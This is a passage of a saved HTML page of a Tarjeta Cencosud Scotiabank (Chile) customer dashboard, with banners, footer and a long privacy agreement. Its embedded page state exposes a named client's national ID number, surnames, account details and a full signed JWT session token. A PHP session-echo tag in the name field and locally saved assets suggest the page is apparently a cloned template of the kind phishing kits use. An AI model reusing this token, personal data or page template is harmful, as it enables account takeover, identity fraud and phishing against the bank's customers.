href="https://www.paris.cl/electro/television/smart-tv/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=smart_tv" target="_blank"><img class="image__desktop" src="dashboard_files/3225571852538833-4732718695455991-banner_tarjetacencosud_smartv_desktop.jpeg" alt="Image Desktop"></a></div><div class="mobile-card" style="grid-template-columns: repeat(5, 1fr); gap: 16px;"><a href="https://www.paris.cl/tecnologia/celulares/smartphone/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=smartphone" target="_blank"><img class="image__mobile" src="dashboard_files/15713057222067817-07000414733212357-banner_tarjetacencosud_celulares_mobile.jpeg" alt="Image mobile"></a><a href="https://www.paris.cl/tecnologia/computadores/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=computacion" target="_blank"><img class="image__mobile" src="dashboard_files/956946280468973-23369059094621547-banner_tarjetacencosud_computacion_mobile.jpeg" alt="Image mobile"></a><a href="https://www.paris.cl/dormitorio/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=dormitorio" target="_blank"><img class="image__mobile" src="dashboard_files/6922051681742494-7602724839057322-banner_tarjetacencosud_dormitorio_mobile.jpeg" alt="Image mobile"></a><a href="https://www.paris.cl/linea-blanca/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=linea_blanca" target="_blank"><img class="image__mobile" src="dashboard_files/2926883143486605-8735737689900791-banner_tarjetacencosud_lb_mobile.jpeg" alt="Image mobile"></a><a href="https://www.paris.cl/electro/television/smart-tv/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=smart_tv" target="_blank"><img class="image__mobile" src="dashboard_files/053106237876301865-47298671219141664-banner_tarjetacencosud_smartv_mobile.jpeg" alt="Image mobile"></a></div></div></div></div></div></div></div></div><div class="container__footer"><div class="footer__content"><footer><div class="footer__information"><div class="information__rrsss"><span class="rrss__title">Síguenos</span><div class="rrss__icons"><a href="https://www.facebook.com/TarjetaCencosudScotiabank" target="_blank" class="icons__icon"><img src="dashboard_files/6254483421435535-2820004834732899-6946275972716185-facebook-2.svg" alt="Icono RRSS"></a><a href="https://www.youtube.com/c/TarjetaCencosudScotiabank" target="_blank" class="icons__icon"><img src="dashboard_files/05272919162655887-5106614781003986-9109148030476721-youtube-1.svg" alt="Icono RRSS"></a><a href="https://twitter.com/TCencosudScotia" target="_blank" class="icons__icon"><img src="dashboard_files/8559069535368939-12283231776143233-12259633188015262-twitter-1.svg" alt="Icono RRSS"></a><a href="https://goo.gl/sLXHzW" target="_blank" class="icons__icon"><img src="dashboard_files/030332008174822622-2706547189820747-1387712632680882-whatsapp-1.svg" alt="Icono RRSS"></a></div></div><div class="information__emergencies"><span class="emergencies__title">Emergencias de Tarjeta de Crédito</span><a class="emergencies__phone" href="tel:800 374 500">800 374 500</a></div><div class="information__customer--services"><span class="customer--services__title">Servicio al cliente</span><a class="customer--services__phone" href="tel:600 450 5000">600 450 5000</a></div><div class="information__sales"><span class="sales__title">Ventas</span><a class="sales__phone" href="tel:800 450 6600">800 450 6600</a></div></div><div class="footer__legal"><div><p>Infórmese sobre las entidades autorizadas para emitir Tarjetas de Pago en el país,<br>quienes se encuentran inscritas en los Registros de Emisores de Tarjetas que lleva la CMF, en <a href="https://www.cmfchile.cl/" target="_blank" rel="noopener">https://www.cmfchile.cl</a></p>
<p>© Cencosud Scotiabank 2022. Todos los derechos reservados.</p></div></div></footer></div></div></div></div></div></div>
<script defer="">
window.REDUX_DATA = {"gtm":"GTM-MNHV9ZN","cards":{"isLoadingCard":false,"clientCards":{"listCards":[{"logo":{"id":10,"codigo":"502","descripcion":"MASTERCARD"},"id_tarjeta":11846926,"cuenta":{"id_cuenta":7224128,"fecha_ult_actualizacion":"2022-02-02T07:44:36.53958","numero_cuenta":"xxxx xxxx xxxx ●●●●","bloqueos_cuenta":{"codigo_bloqueo_cuenta_1":null,"codigo_bloqueo_cuenta_2":null},"saldos_cupos_cuenta":{"cupo_nacional_cupo_virtual":120000,"dispo_total_en_clp":120000,"utilizado_calculado":0}},"numero_tarjeta":"xxxx xxxx xxxx ●●●●","es_digital":false,"fecha_vencimiento_tarjeta":"2024-01-31"}],"availableClientCards":[{"key":"502","number":"●●●●","expiration":"01 / 24"}],"selectedCard":{"logo":{"id":10,"codigo":"502","descripcion":"MASTERCARD"},"id_tarjeta":11846926,"cuenta":{"id_cuenta":7224128,"fecha_ult_actualizacion":"2022-02-02T07:44:36.53958","numero_cuenta":"xxxx xxxx xxxx ●●●●","bloqueos_cuenta":{"codigo_bloqueo_cuenta_1":null,"codigo_bloqueo_cuenta_2":null},"saldos_cupos_cuenta":{"cupo_nacional_cupo_virtual":120000,"dispo_total_en_clp":120000,"utilizado_calculado":0}},"numero_tarjeta":"xxxx xxxx xxxx ●●●●","es_digital":false,"fecha_vencimiento_tarjeta":"2024-01-31"}},"cardError":false},"client":{"cardType":"A","products":["AE","SAE"],"loggedClient":{"id":1414108,"identificationNumber":"12652550","dv":"8","firstName":"<? echo $_SESSION["nombre"];?>","secondName":"JEANETTE","fatherLastName":"CASTILLO","motherLastName":"AGUILERA","email":"VIL*****@HOTMAIL.COM","idEmail":2883498},"privacyAgreements":{}},"cookie":{"cookie":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxNDE0MTA4LCJ1c2VyX25hbWUiOiIxMjY1MjU1MDgiLCJzY29wZSI6WyJyZWFkIiwid3JpdGUiLCJ0cnVzdCIsImFwaSJdLCJpc190ZW1wX3Bhc3N3b3JkIjpmYWxzZSwiZXhwIjoxNjQzNzg4NDc0LCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiZmJjYzRiNWItMDAwYi00Yzc5LTk5OWMtOGU5OWNlNmMyOTYwIiwiY2xpZW50X2lkIjoiY2xpZW50SWQxIn0.M_JpfuFn-iNB-jt3eRxHFIzpYGUGda8HKxyjPWNf1I6PZs1-MdkPzLlU_AwW4926s9xTRM-7SXwROgo4NTtAg3XfzgxUlrfchBPw3JimGtzIqLAT3ZVXchlAMqeLdIULzBAYCqYP7MGU9SoW3BRd46IanfCs0d5pz_tPhOy6AIWTjtYFRUA_ta7QoP-Tgpx1DRgrnU2fR85bFOKSHsaNiYr5aBdLMUog_z9GGnMP9ALhMoG496B_vIR8HwVNNrOqKiRMSL92ctexxg_Bm8JYIVrr_D2AcAndFlDQ5QaNteU_9FPjxuizrwwwOi8qlIfEfQMIvgMAlWTT4ZmgAh9dpA"},"directus":{"isLoading":false,"isLoadingDataDashboard":false,"isLoadingShareIncrease":false,"directusPrivacyAgrement":{"directusDataPrivacyAgreement":{"0":{"title":"Acuerdos de privacidad","subtitle":"Revisa los acuerdos de privacidad para el uso de tus datos personales en el sitio privado.","code":"STEP1_PRIVACY_AGREEMENT","text_button_continue":"Leer más","text_button_closed":"Ver más tarde","text_agreements":null,"type_agreement":null,"version_agreement":null,"text_icon_download_pdf":null,"button_icon_download_pdf":null,"pdf_link":null,"pdf_text":null,"img":null,"code_first_agreement":null,"code_second_agreement":null,"text_link_first_agreement":null,"text_link_second_agreement":null},"1":{"title":"Acuerdos de privacidad","subtitle":"Revisa los acuerdos de privacidad para autorizar el uso de tus datos personales en el sitio privado de Tarjeta Cencosud Scotiabank","code":"STEP2_PRIVACY_AGREEMENT","text_button_continue":"Confirmar","text_button_closed":"Ver más tarde","text_agreements":"He leído y acepto los","type_agreement":null,"version_agreement":null,"text_icon_download_pdf":null,"button_icon_download_pdf":null,"pdf_link":null,"pdf_text":null,"img":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/916385539509625-dashboard_privacy_agreement.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/916385539509625-dashboard_privacy_agreement.svg"},"code_first_agreement":"AGREEMENT_GENERAL","code_second_agreement":"AGREEMENT_DIGITAL","text_link_first_agreement":"Acuerdos generales","text_link_second_agreement":"Acuerdos digitales"},"2":{"title":"Acuerdo de Privacidad","subtitle":"Scotiabank Chile","code":"AGREEMENT1_PRIVACY_AGREEMENT_GENERAL","text_button_continue":"Apruebo este acuerdo de privacidad","text_button_closed":"Rechazo este acuerdo de privacidad","text_agreements":null,"type_agreement":"1","version_agreement":"1.0.0.0","text_icon_download_pdf":"Descarga el documento de privacidad","button_icon_download_pdf":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5992061344061106-download-4.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5992061344061106-download-4.svg"},"pdf_link":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/02256918629346516-acuerdo-de-privacidad-general-1.pdf","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/02256918629346516-acuerdo-de-privacidad-general-1.pdf"},"pdf_text":"<h3>Cómo protegemos su privacidad.</h3>\n<p>Su privacidad es importante para Scotiabank. Este Acuerdo de Privacidad (el \"Acuerdo de Privacidad\"), establece las prácticas de información para Scotiabank, incluido el tipo de información recopilada, cómo se usa la información y con quién se comparte la información.Este Acuerdo de Privacidad se aplica a cada persona que solicite, firme una solicitud, se inscriba o utilice cualquier producto o servicio bancario, de seguros, corretaje o producto financiero o servicio ofrecido por Scotiabank y sus filiales, (\"Servicio (s)\") que nos haya proporcionado información personal (\"usted\" y \"su\"). Este Acuerdo de privacidad es complementario de cualquier acuerdo anterior o futuro, ya sean escritos u orales, entre usted y nosotros con respecto a la recopilación, el uso y la divulgación de su Información personal.</p>\n<h3>En este Acuerdo de Privacidad.</h3>\n<p>Nosotros\", \"nuestro\", \"nos\" y \"Scotiabank\", significa Scotiabank Chile o The Bank of Nova Scotia o cualquiera de sus sucursales, agencias, subsidiarias, afiliadas, y jointventures que operan a nivel mundial.</p>\n<p>\"Información personal\" o \"información\" incluye información sobre una persona identificable, como información de contacto, información financiera y comercial, edad y género, números de identificación, ingresos e información de empleo. Esto puede incluir información proporcionada por la persona natural titular de los datos, o recopilada por Scotiabank, del uso de sus productos y servicios, de terceros o de fuentes públicas, e incluye información en cualquier formato, incluidos los formatos digitales.</p>\n<h3>Recopilación, uso y divulgación de su información.</h3>\n<p>Scotiabank es una organización global con entidades legales, procesos comerciales, estructuras de gestión y sistemas técnicos que cruzan fronteras. Nuestras prácticas de privacidad están diseñadas para brindar protección a su información personal donde opera Scotiabank.</p>\n<h3>Lo que recopilamos, almacenamos y tratamos de su información.</h3>\n<ul>\n<li>Cuando solicita o entrega una garantía, o utiliza cualquier Servicio o Producto de Scotiabank, y mientras permanezca como nuestro cliente, o cuando participa en una encuesta, promoción o concurso en Scotiabank, o nos proporciona su Información personal, usted está en conocimiento y acepta que podemos recopilar, almacenar y tratar su información personal, que incluye pero no se limita a: su nombre completo y detalles de contacto (como dirección, teléfono y número de móvil, dirección de correo electrónico)Número de Cédula de Identidad, fecha de nacimiento, ocupación o actividad y naturaleza o tipo de negocio que usted realiza.</li>\n<li>Identificación emitida por el gobierno, tal como un pasaporte válido, cédula de identidad, cédula electoral o licencia de conducir, así como otros documentos o medios de confirmación de su identidad que sean aceptables para nosotros. También podemos solicitar documentos como una factura de servicios reciente para verificar su dirección;</li>\n<li>Su educación, ingresos anuales, activos, pasivos, historial crediticio e informes comerciales;</li>\n<li>Información sobre sus transacciones, incluido su historial de pagos, la actividad de su cuenta, cómo utiliza su cuenta, los certificados de depósito, los depósitos a plazo, los productos o servicios y la fuente de cualquier ingreso, riqueza o activo entrante;</li>\n<li>Información que podemos necesitar para proporcionarle un Servicio, tal como la solicitud de información de salud si está solicitando ciertos productos de seguro. En algunos casos, proporcionar esta información es opcional;</li>\n<li>Información sobre terceros, como su cónyuge, si está solicitando productos o Servicios, para los cuales se requiere esta información</li>\n<li>Información sobre beneficiarios efectivos, intermediarios y otros terceros cuya información es requerida por norma.\n<ul>\n<li>Para entidades como corporaciones, sociedades, fideicomisos, patrimonios, fondos de inversión, organizaciones, jointventures, asociaciones o clubes u otras organizaciones, podemos recopilar la información mencionada anteriormente respecto de apoderados, incluidos, entre otros, signatarios, funcionarios, socios, fideicomisarios, albaceas y miembros del club, según corresponda.</li>\n<li>Además, cuando solicita, se inscribe o utiliza un producto o servicio, o participa en cualquier concurso, encuesta o evento a través de un canal remoto, quedamos facultados y usted acepta que podamos recopilar, almacenar y tratar información sobre su computadora o dispositivo, sistema operativo, conexión a Internet o cuenta telefónica, configuración, dirección IP, datos de ubicación del dispositivo y datos de transacción, así como información personal como se describe anteriormente. Podremos recopilar, almacenar, tratar, usar, divulgar y retener esta información para los fines descritos a continuación, así como para determinar qué configuraciones son apropiadas para su sistema informático, de modo que podamos proporcionar o mejorar la funcionalidad digital y las opciones bancarias, por razones de seguridad, análisis interno y reportes. Usted puede negar su consentimiento para la recopilación, el almacenamiento, el tratamiento, uso y divulgación de esta información, comunicándolo a través del mismo medio por el cual el Cliente transmite sus datos; asumiendo en estos casos que, esto puede impedir limitar o reducir la funcionalidad del canal digital para solicitar o utilizar un Servicio.</li>\n<li>Scotiabank y sus proveedores de servicios, también pueden usar varias herramientas web, incluidas Cookies (consulte nuestra Política de Cookies), Web Beacons y Etiquetado en nuestros sitios web y anuncios para evaluar y mejorar nuestros sitios web y otras ofertas electrónicas, adaptar nuestros Servicios, mejorar nuestra experiencia del cliente y comunicarse con usted con respecto a los productos y servicios que pueden ser de su interés.</li>\n</ul>\n</li>\n<li>El etiquetado es un código personalizado en nuestros sitios web que brinda la capacidad de monitorear la actividad del usuario en los sitios web de Scotiabank. Esta herramienta podrá ser utilizada por Scotiabank o un tercero contratado o relacionado con Scotiabank, para capturar la actividad del usuario para el análisis, de modo que podamos comprender y mejorar la experiencia de usuario y proporcionar más controles de seguridad.</li>\n<li>Los Web Beacons son pequeñas alertas integradas en nuestros sitios web que, cuando se combinan con Cookies, ayudan a proporcionarnos información sobre el uso y la eficacia de nuestro sitio web. Scotiabank puede usar la video vigilancia en nuestras sucursales, cajeros electrónicos y otros dispositivos bancarios, para proteger a nuestros clientes y empleados contra el robo, el fraude y el vandalismo. Las imágenes de video grabadas se destruyen cuando ya no se requieren para fines comerciales o de otro tipo, y toda información personal se protege de acuerdo con este Acuerdo de Privacidad.</li>\n</ul>\n<h3>Finalidad del uso de su información.</h3>\n<p>Podemos recopilar su información personal, usarla y divulgarla a cualquier persona u organización relacionada o que mantenga una relación contractual con Scotiabank, para los siguientes propósitos:</p>\n<ul>\n<li>Para confirmar su identidad;</li>\n<li>Para entender sus necesidades;</li>\n<li>Determinar la idoneidad de nuestros servicios para usted;</li>\n<li>Para determinar su elegibilidad para nuestros Productos y Servicios;</li>\n<li>Para desarrollar, administrar y ofrecer servicios que satisfagan sus necesidades;</li>\n<li>Para proporcionarle continuidad de servicios;</li>\n<li>Brindarle una amplia gama de opciones para solicitar y acceder a los Servicios de Scotiabank;</li>\n<li>Para dar cumplimiento a la normativa legal y reglamentaria sobre la materia, incluidos los requisitos de cualquier organización de autorregulación a la que pertenecemos;</li>\n<li>Para facilitarnos el cobro de sus deudas o invitarlo a cumplir oportunamente sus obligaciones para con el Banco;</li>\n<li>Para dar respuesta a solicitudes de autoridades locales o extranjeras debidamente facultadas para solicitar su información.</li>\n<li>Gestionar y evaluar nuestros riesgos;</li>\n<li>Para investigar y responder reclamos de seguros, otros reclamos o quejas; y</li>\n<li>Para prevenir o detectar fraudes o delitos, o para gestionar y resolver cualquier pérdida real o potencial en relación con el fraude o la actividad delictiva. Cuando se proporciona su información personal de salud para los efectos de contratación de seguros, Scotiabank tomará todas las medidas necesarias para proteger su información de manera que ella sea utilizada estrictamente para los fines de dicha contratación, coherente con nuestras políticas y prácticas.</li>\n</ul>\n<h3>Terceros Proveedores de servicios.</h3>\n<p>Scotiabank no dispone de todos los servicios necesarios para dar cumplimiento a la relación comercial con usted. Scotiabank puede contratar servicios provistos por terceros externos (incluidas sus filiales) para procesar o manejar su información personal, en nuestro nombre y para apoyarnos en algunos servicios tales como impresión, distribución postal y de correo electrónico, procesamiento y análisis de datos, mercadotecnia (incluso por teléfono y medios electrónicos), y para proporcionar soporte al cliente, lo que usted reconoce, acepta y autoriza para que podemos divulgar su información personal.</p>\n<p>Cuando se proporciona información personal a terceros, Scotiabank tomará las medidas necesarias para proteger la información personal que reciban de nosotros de manera coherente con nuestras políticas y prácticas, y dicha información solo se utilizará para los fines identificados, quedando también obligados los receptores de esta información a guardar reserva y confidencialidad de ella.</p>\n<h3>Transferencia internacional.</h3>\n<p>Nuestra matriz, filiales, relacionadas y proveedores de servicios pueden estar ubicados en jurisdicciones extranjeras diferentes a la de su domicilio, por lo que podemos compartir su información personal con estas entidades para cualquiera de los fines establecidos anteriormente, quedando obligadas a guardar reserva y confidencialidad de la información recibida. Esto también implica que su información personal podrá compartirse con autoridades reguladoras de acuerdo con las leyes de esas jurisdicciones extranjeras. Usted declara estar en conocimiento, acepta y autoriza que su Información personal pueda ser transferida, utilizada, divulgada, tratada o almacenada en jurisdicciones extranjeras o pueda almacenar sus datos personales a servidores ubicados en la nube, para los fines señalados.</p>\n<h3>Verificando su Identidad.</h3>\n<p>Usted acepta y autoriza al Banco para recopilar, usar y divulgar su número de documento de identificación nacional, de acuerdo a lo que indique la ley, para fines de declaración de impuestos y para cumplir con otros requerimientos regulatorios de acuerdo a lo que indique la legislación y normativa vigente. Adicionalmente, Scotiabank podrá recopilar, usar y divulgar esta información, para enviar información crediticia a organismos que lo requieran, siempre que lo permita la ley. Esto nos permite mantener su información personal separada de la de otros clientes, particularmente aquellos con nombres similares, y ayuda a mantener la integridad y exactitud de su información personal. Puede negarse a dar su consentimiento para su uso o divulgación para fines que no sean los exigidos por la ley lo que será informado por los medios que establece la legislación local.</p>\n<p>La información relativa a la identificación del Cliente, en este caso el número de cedula de identidad o pasaporte también puede divulgarse a autoridades tributarias extranjeras como el Servicio de Impuestos Internos de los Estados Unidos, o a cualquier autoridad impositiva local según lo exige la Ley de Cumplimiento Tributario de Cuentas Extranjeras de los EE. UU. (\"FATCA\") o legislación similar de otros países.</p>\n<p>Scotiabank está facultado para verificar la información relevante que nos brinde su empleador, sus referencias u otras fuentes independientes confiables.</p>\n<p>Si solicita o contrata un Servicio, durante el tiempo que permanezca en el mismo, el Banco podrá utilizar su información para entregarla a consultoras relacionadas con la industria de servicios financieros, u otros organismos privados de investigación, relacionados con el tipo de servicio contratado por usted., solo para los fines señalados en este documento.</p>\n<h3>Propósitos de Marketing.</h3>\n<p>Scotiabank está autorizado para analizar y utilizar su información con la finalidad de comprender mejor el uso que usted vaya a dar a nuestros Servicios, e identificar otros productos, servicios u ofertas de Scotiabank o terceros seleccionados, que puedan ser de su interés. A menos que opte por no participar, también podemos usar y compartir su información de contacto en Scotiabank, para que el Banco y sus empresas relacionadas lo contacten directamente con el objeto de informarle sobre productos, servicios, ofertas, promociones, eventos y cualquier otra información de interés tanto de Scotiabank como de terceros seleccionados, incluso por correo postal, teléfono, correo electrónico u otros canales. Este consentimiento también se aplicará a cualquier empresa que forme parte de Scotiabank en el futuro. Nunca compartiremos su información con terceros fuera de Scotiabank con fines comerciales sin su consentimiento expreso.</p>\n<p>Si tiene un Servicio contratado con el Banco, usted acepta que podamos utilizar, divulgar y recopilar de oficinas de crédito, agencias de informes crediticios o bases de datos de la industria de servicios financieros (cuando corresponda), su información crediticia y cualquiera otra información suya, con el fin de ofrecerle productos de crédito.</p>\n<p>Puede dejar sin efecto esta autorización para el uso y la divulgación de su Información personal para los fines de comercialización mencionados, en cualquier momento informando al Banco a través de su ejecutivo o call center.</p>\n<h3>Grabación y Monitoreo.</h3>\n<p>Controlamos los productos que tiene contratados con el Banco, para cumplir con nuestras obligaciones legales y reglamentarias, incluido el uso de sistemas de vigilancia automatizados para prevenir o detectar fraudes o actividades delictivas, como el lavado de dinero o financiamiento del terrorismo. También podremos compartir su información dentro de Scotiabank para estos fines, incluida la investigación de actividades inusuales o sospechosas y, de ser necesario, informar dicha actividad a las agencias u organismos encargados de hacer cumplir la ley en estas materias.</p>\n<p>También podemos monitorear, registrar y grabar y así se lo haremos saber oportunamente cualquier llamada telefónica o comunicación electrónica que tengamos con usted. Esto se hace con la finalidad de tener un registro preciso de la información que nos proporciona, para garantizar que se sigan sus instrucciones de manera adecuada, garantizar que se mantengan los niveles de servicio al cliente, resolver quejas y disputas, y para fines de capacitación. Los registros de llamadas y comunicaciones electrónicas se destruyen cuando ya no son necesarios para fines comerciales u otros, y toda información personal está protegida de conformidad con este Acuerdo.</p>\n<p>Usted acepta que después de cada llamada o comunicación actualicemos la información sobre usted y los productos del banco que mantenemos en nuestros registros. Usted acepta que dichos registros, o cualquier comunicación verbal registrada, se pueden usar, en la medida que lo permita la ley, como prueba concluyente del contenido de esa comunicación en cualquier procedimiento legal o de otro tipo.</p>\n<h3>Uso y divulgación de su información para productos y servicios específicos. Tarjetas de crédito, hipotecas, préstamos y otros productos crediticios.</h3>\n<p>Cuando solicita, acepta, constituye una garantía para el otorgamiento de un crédito o una línea de crédito, o se endeuda con nosotros, y durante su permanencia como cliente, usted acepta que podamos obtener, usar, verificar, compartir e intercambiar su información crediticia y de otra índole (excepto información médica) sobre usted con otras personas, incluidos los burós de crédito, aseguradores hipotecarios, aseguradores de créditos, registros, nuestra matriz, sucursales, subsidiarias y afiliadas, y otras personas con las que pueda tener relaciones financieras, así como cualquier otra persona, según sea permitido o requerido por la ley.</p>\n<p>Si tiene un producto o Servicio con nosotros, como una Tarjeta Bancaria, tarjeta de crédito o producto de línea de crédito, usted acepta que podamos proporcionar su información (excepto información de salud) a proveedores de servicios de pago electrónico, asociaciones a las Marcas de tarjetas de crédito, programa de lealtad de socios y sus empleados y agentes, con el fin de procesar, autorizar y autenticar sus transacciones (según sea el caso), proporcionarle servicios de asistencia al cliente y para otros fines relacionados con sus productos y Servicios. También podemos brindar esta información con respecto a su participación en concursos y promociones administradas por los proveedores de servicios de pago electrónico, Marcas de tarjetas de crédito y socios del programa de lealtad en nuestro nombre.</p>\n<p>Si tiene productos hipotecarios con nosotros, podremos proporcionar información suya, incluida información crediticia, a la aseguradora para cualquier fin relacionado con seguros asociados a estas operaciones. La información retenida por las aseguradoras estará regida por la legislación local de privacidad de datos.</p>\n<h3>Productos de seguros.</h3>\n<p>Sujeto a los requisitos legales aplicables, cuando solicite, se inscriba o firme una solicitud con respecto a, o acepte un servicio de seguros de nuestra parte, usted acepta que podemos usar, dar, obtener, verificar, compartir e intercambiar información sobre usted con terceros para fines específicos.</p>\n<p>Si acepta un servicio de seguros intermediado por Scotiabank solo puede retirar su consentimiento, como se indica a continuación, siempre que el consentimiento no se relacione con la suscripción o los reclamos en los que Scotiabank debe recopilar y entregar información a los reguladores u otras autoridades con facultades para solicitarla, después de que la solicitud ha sido suscrita o la reclamación ha sido respondida. Esto es necesario para mantener la integridad de los sistemas de suscripción y reclamo.</p>\n<h3>Divulgación en caso de una venta.</h3>\n<p>Si vendemos una compañía o una parte del negocio o activos de The Bank of Nova Scotia o cualquier relacionado, usted acepta que podemos divulgar su información al futuro comprador para los fines específicos de la venta, incluso antes de la venta, no pudiendo el futuro comprador utilizar su información para otro objeto. Exigiremos a cualquier comprador que proteja la información que compartimos y que la use de manera coherente con las políticas y prácticas de privacidad de Scotiabank.</p>\n<h3>Protección de la información personal.</h3>\n<p>La información que recopilamos se usa estrictamente para fines comerciales de Scotiabank. El acceso de nuestros empleados a sus registros está restringido y limitado para facilitar el negocio o proporcionar un servicio continuo al cliente. Permitimos que los empleados autorizados, entrenados en el manejo adecuado de la Información personal, tengan acceso a sus registros en función de la necesidad de conocerlos y solo para estos fines.</p>\n<p>Hemos adoptado e implementado medidas de seguridad físicas, electrónicas, de procedimientos y prácticas de seguridad para proteger su información contra pérdida, robo y acceso no autorizado.</p>\n<h3>Retención de información personal.</h3>\n<p>Usted acepta que podamos conservar y utilizar su información en nuestros registros, durante el tiempo que sea necesario para los fines descritos en este Acuerdo de Privacidad, incluso si deja de ser cliente, de conformidad con la legislación vigente.</p>\n<h3>Exactitud de la información personal.</h3>\n<p>Usted declara y reconoce que toda la información provista por usted es verdadera y completa. Si alguno de sus datos personales cambia o se vuelve impreciso o desactualizado, debe avisarnos para que podamos actualizar nuestros registros.</p>\n<h3>Rechazar o retirar el consentimiento.</h3>\n<p>Sujeto a los requisitos legales, reglamentarios y contractuales, puede negarse a aceptar nuestra recopilación, uso o divulgación de información sobre usted, o puede retirar su consentimiento para nuestra posterior recopilación, uso o divulgación de su información en cualquier momento en el futuro dándonos un aviso de acuerdo a lo establecido en la legislación. Sin embargo, dependiendo de las circunstancias, el rechazo o retiro de su consentimiento puede impedir que podamos proporcionarle, o seguir proporcionándole, algunos Servicios, medios de acceso a los Servicios o información que puede ser de valor para usted.</p>\n<p>Responderemos a sus instrucciones lo más rápido posible, dentro de los plazos establecidos por la legislación.</p>\n<p>No puede rechazar nuestra recopilación, uso y divulgación de información en aquellos casos en que Scotiabank tiene el deber legal o normativo de mantenerlos en sus bases de datos. Puede informarnos en cualquier momento para dejar de utilizar su información para promocionar nuestros Servicios o los productos y servicios de terceros que seleccionamos. Si desea rechazar el consentimiento o retirar el consentimiento según lo descrito en este Acuerdo, puede hacerlo en cualquier momento comunicándose con su ejecutivo.</p>\n<h3>Cambios a este Acuerdo de Privacidad.</h3>\n<p>Usted acepta que podamos enmendar, modificar, cambiar o reemplazar este Acuerdo de Privacidad en cualquier momento para tomar en consideración los cambios en las leyes y reglamentos, nuestras prácticas o para abordar otros asuntos. Publicaremos el Acuerdo de privacidad revisado en nuestro sitio web público y lo pondremos a disposición en nuestras sucursales. Además, podremos informarle de estos cambios conforme a la modalidad de comunicación establecida en su contrato del producto o servicio, y se le requerirá su consentimiento en aquellas materias en que la normativa así lo exija.</p>\n<p>Finalmente, y en el contexto anterior, Scotiabank no podrá ceder, compartir, transferir y/o transmitir los datos de los titulares a terceros con fines distintos a los previstos en este acuerdo. En todo caso, en el evento que dicha información personal sea utilizada para otros propósitos, su utilización deberá estar amparada en la normativa vigente o contar con la autorización expresa del titular.</p>\n<h3>Accediendo a su información.</h3>\n<p>Sujeto a requisitos legales, regulatorios y contractuales, puede solicitar en cualquier momento el acceso a la Información personal que tenemos sobre usted. Mucha de esta información ya es accesible para usted, por ejemplo, a través de sus estados de cuenta; visitando la sucursal u oficina donde regularmente hace negocios; al acceder a su cuenta en línea; o a través del centro de contacto con el cliente. Sin embargo, si necesita acceder a otra información, debe dirigir su solicitud a través del centro de contacto con el cliente / Call Center.</p>\n<p>Para procesar su solicitud, podemos solicitarle detalles específicos, como número de sucursal y cuenta, y aclaraciones sobre la información específica o el período de tiempo al que solicita acceso. Una vez que se haya verificado su identidad y se haya confirmado el alcance de su solicitud, le otorgaremos el acceso a su información, dentro del plazo establecido por la ley.</p>\n<h3>Marco vigente.</h3>\n<p>La normativa general sobre secreto y reserva bancarios contenida en el artículo 154 de la Ley General de Bancos, la Ley N° 19.628 sobre Protección a la Vida Privada y sus modificaciones, otras normas relacionadas, y los acuerdos contractuales o convenciones sobre resguardo, protección, reserva y confidencialidad aplicables, establecen obligaciones y responsabilidades para Scotiabank Chile.</p>\n<h3>Contáctenos.</h3>\n<p>Si tiene una pregunta general sobre las políticas de privacidad de Scotiabank, comuníquese con la sucursal u oficina que lo atiende.</p>\n<h2>Condiciones Especiales - Acuerdo de Privacidad <br />Aplicables a CAT Administradora de Tarjetas S.A.</h2>\n<p>Para CAT Administradora de Tarjetas S.A., en adelante “CAT” la privacidad es un tema relevante y constituye una prioridad establecer una relación de confianza con nuestros clientes y usuarios basados en el respeto de la privacidad de las personas y su información.</p>\n<p>El presente documento, viene a complementar el Acuerdo de Privacidad del Grupo Scotiabank.</p>\n<p>Mediante la aceptación expresa de este acuerdo de privacidad Ud. autoriza expresamente a CAT para tratar sus datos de acuerdo a lo detallado en este Acuerdo de Privacidad.</p>\n<p>El tratamiento de datos personales que realice CAT será en conformidad con la Ley 19.628 “Ley Protección a la Vida Privada”, sus modificaciones, a la Ley General de Bancos, y las demás normas relacionadas con el resguardo, protección, reserva y confidencialidad de los datos personales.</p>\n<h3><span style=\"padding: 0;\">I.</span> Responsable del tratamiento de datos:</h3>\n<p>CAT ADMINISTRADORA DE TARJETA S.A. RUT 99.500.840-8 Representante legal: María Elena Morales Ayala y Luis Aubele Ramírez. Domicilio: Av. Vitacura 2736, piso 13, comuna de Las Condes. Casilla de correo electrónico de contacto: <a href=\"mailto:gestionatusdatos@cencosudscotiabank.cl\">gestionatusdatos@cencosudscotiabank.cl</a></p>\n<h3><span style=\"padding: 0;\">II.</span> Finalidad del tratamiento</h3>\n<p>Además de las finalidades indicadas en el acuerdo general de privacidad del Grupo Scotiabank, CAT podrá tratar los datos de los usuarios y clientes:</p>\n<ol>\n<li>Con el objeto de realizar una adecuada prestación y administración de los servicios, productos financieros y bancarios.</li>\n<li>Realizar el análisis de su comportamiento financiero, comercial y crediticio.</li>\n<li>Dar cumplimiento a las obligaciones legales.</li>\n<li>Para realizar todas las gestiones necesarias para confirmar y actualizar su información de cliente; incluyendo la validación de su identidad al realizar operaciones financieras analizando datos de su perfil de cliente y de cualquier otra naturaleza, tales como ubicación, biométricos, de geolocalización y datos de contacto.</li>\n<li>Para efectos de resguardar la seguridad de su información y actividad bancaria y financiera.</li>\n<li>Gestiones de cobro y recuperación de cartera, ejercida directamente por CAT o mediante un tercero contratado.</li>\n<li>Consultar la información relacionadas con la gestión de los servicios y productos que provee.</li>\n<li>Para adecuar las ofertas comerciales de servicios financieros, a sus requerimientos, preferencias e intereses, para ofrecerle un servicio y/o producto personalizado y eficaz.</li>\n<li>Realizar encuestas de satisfacción y para contactarlo en caso de que se produzca cualquier incidencia en el servicio o producto contratado, atender consultas del usuario, 